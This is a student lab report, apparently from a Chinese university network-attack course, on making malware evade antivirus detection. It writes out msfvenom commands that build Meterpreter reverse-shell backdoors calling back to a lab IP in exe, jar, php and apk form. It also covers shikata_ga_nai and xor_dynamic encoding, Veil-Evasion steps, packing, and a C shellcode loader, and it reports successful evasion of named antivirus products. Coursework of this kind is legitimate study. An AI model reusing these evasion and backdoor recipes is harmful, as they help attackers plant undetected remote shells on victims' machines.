zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175313张黎仙《网络对抗技术》Exp3 免杀原理与实践

    一、实验目标

    1. 了解恶意软件检测机制
    2. 学会使用msf、veil、加壳工具、C+shellcode等方法实现部分免杀
    3. 通过组合应用各种技术实现恶意代码免杀
    4. 掌握将生成的免杀程序注入目标机,并回连成功

    二、预备知识

    免杀概念

    一般是对恶意软件做处理,让它不被杀毒软件所检测。

    恶意软件检测机制

    • 基于特征码的检测
    • 恶意代码包含这样的数据
    • 正常程序不包含这样的数据
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
    • 启发式恶意软件检测
    • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
    • 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 基于行为的恶意软件检测

    从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    免杀原理及技术

    • 改变特征码
    • 只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
      • 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
      • 加密通讯数据:如使用reverse-https进行转发
    • 操作模式
      • 基于内存操作:meterpreter是基于内存操作的操作的
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

    msf的使用帮助

    root @ KaliYL:/ home / YL#msfvenom -p windows / meterpreter / reverse_tcp -x ./KiTTYPortable.exe -e x86 / shikata_ga_nai -i 5 -b' x00'LHOST = 192.168.136.131 LPORT = 5313 -f exe> KiTTy_backdoor.exe

    • 参数说明:
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

    三、实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil,加壳工具等单一方法实现部分免杀

    实验要求

    (1)正确使用msf编码器

    • 使用msfvenom -l encoders查看可以用于生成后门的编码器

    • 使用实验二生成的后门程序,放在VirusTotal上进行扫描,结果如下:

    • 将编码一次生成的后门程序进行扫描,结果如下:


    • 将编码十次生成的后门程序进行扫描,结果如下:


    • 结论
    • 对比上述三组实验结果,可知AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
    • 还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
    • AV厂商还会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。

    (2)msfvenom生成如jar之类的其他文件

    • 生成jar文件

    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.136.131 lport=5313 x> meter_backdoor_java.jar

    • 生成php文件

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 x> meter_backdoor.php

    • 生成apk文件

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 R > meter_backdoor.apk

    (3)veil

    • 先输入veil指令,然后用use evasion命令进入Veil-Evasion

    • 输入use c/meterpreter/rev_tcp.py进入配置界面
    • 设置反弹连接IPset LHOST 192.168.136.131
    • 设置端口set LPORT 5313
    • 查看配置options
    • 输入generate生成文件,接着输入生成的文件名


    • 验证生成的文件路径是否正确

    • 扫描结果:

    • 腾讯电脑管家查杀结果:

    (4)加壳工具

    • 压缩壳


    • 加密壳


    (5)使用C + shellcode编程

    • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 -f c用c语言生成一段shellcode;
    • 创建一个文件20175313zlx.c,然后将unsigned char buf[]赋值到其中,代码如下:
    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    ...
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    
    • 使用命令:i686-w64-mingw32-g++ 20175313zlx.c -o 20175313_backdoor.exe生成可执行文件;


    • 腾讯电脑管家和金山毒霸查杀结果:

    (6)使用其他课堂未介绍方法

    1. 生成shellcode
    msfvenom -p  windows/meterpreter/reverse_https -e x86/xor_dynamic -i 5 -b 'x00' lhost=192.168.87.128 lport=5313  -f c -o shell.c
    
    1. c+shellcode用codeblocks编译,生成.exe

    1. 压缩壳

    反而变成22/72,也许是压缩壳upx经常被使用,特征较为明显。

    1. Windows下软件查杀

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 选择生成ruby程序
    • 进行tcp_ssl连接
    • 选择动态异或编译器
    • 成功实现免杀

    • 下载ruby编译器,编译生成exe
    • 分别下载了金山毒霸和腾讯电脑管家进行测试,结果也都免杀成功。
    • 腾讯电脑管家查杀结果:
    • 金山毒霸查杀结果:

    任务三:将生成的免杀程序注入目标机,并回连成功

    • 金山毒霸,版本2017.6.16.18427
    • 腾讯电脑管家,版本2.0.6.27
    • 回连过程与实验二类似这里就不过多叙述,详情见实验二.

    四、实验过程中遇到的问题

    • 问题:ip addr找不到地址

    • 解决方法:
    • 进入root模式下,输入vim /etc/network/interfaces
    • 修改配置文件,在文件最后添加
    auto eth0
    iface eth0 inet dhcp
    
    • 保存并退出后,输入/etc/init.d/networking restart重启网卡,就解决了。

    五、实验思考

    基础问题回答

    (1)杀软是如何检测出恶意代码的?

    通过恶意软件检测机制,进行检测。

    • 基于特征码的检测
    • 启发式恶意软件检测
    • 基于行为的恶意软件检测

    (2)免杀是做什么?

    免杀就是通过对杀软检测恶意代码的方法进行分析,对恶意软件做处理,使其避免采用这些方法,从而达到让它不被杀毒软件所检测到的目的。

    (3)免杀的基本方法有哪些?

    既然杀软是通过上述恶意软件检测机制对恶意代码进行查杀,那么要达到免杀必然要对上面的查杀规则进行一定加工,使其无法让杀软检测出这些规则。


    • 改变特征码
    • 只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
      • 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
      • 加密通讯数据:如使用reverse-https进行转发
    • 操作模式
      • 基于内存操作:meterpreter是基于内存操作的操作的
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

    思考题

    开启杀软能绝对防止电脑中恶意代码吗?

    不能。

    • 每一款杀毒软件都是针对一部分恶意代码进行设计的,对于形形色色的恶意代码,可能这个杀毒软件能杀出来,但另一个杀毒软件就不一定能杀出来,你又不可能把所有杀毒软件都装在电脑中。
    • 再者说来,杀软的检测机制要求其实时更新,而对于一些高级玩家他们写出的恶意代码可能不具备这些特征,杀软照样无可奈何。

    六、实践总结与体会

    实验总结

    实验体会

    • 本次实验,主要费时间的就是veil的安装,以及构造免杀的恶意代码。
    • 对于veil的安装,我只能说这真的考验人的耐心。在安装过程中,我都把一周的毛中特摘抄抄完了……,虽然它就三条指令,但是克隆是真的慢……
    • 对于构造免杀代码,我真的是瞎猫碰上死耗子,这种我觉得也是纯粹靠运气。简单的不一定就容易被查杀,复杂的也不一定不容易被查杀。就拿我起初构造的免杀代码来说,简单c+shellcode,72个查杀出20个;我说加个压缩壳把,72个查杀出22个;我说再加个加密壳,72个查杀出24个……
    • 当然通过本次实验,又加深了我对恶意代码的认识,每个实验都能学到不一样的东西,学无止境。

    七、参考资料

  • 相关阅读:
    Emit介绍【转】
    在.NET中使用反射实现简易插件机制【转】
    RabbitMQ笔记-Qos与消息应答
    Http级别缓存助手类(ASP.Net Core)
    实现一个迷你IOC容器
    使用CMake在Windows环境下的VS2019中配置openCV
    如何在Visual Studio 2019中启动并配置一个使用pyTorch的C++项目(Windows系统,CMAKE项目)
    windows环境下使用python中tensorflow的tensorboard功能无法创建指定路径的问题
    使用python的selenium库自动填写网页(疫情每日一报)
    十进制转换二进制toBinaryString源码分析
  • 原文地址:https://www.cnblogs.com/xiannvyeye/p/12552180.html
Copyright © 2011-2022 走看看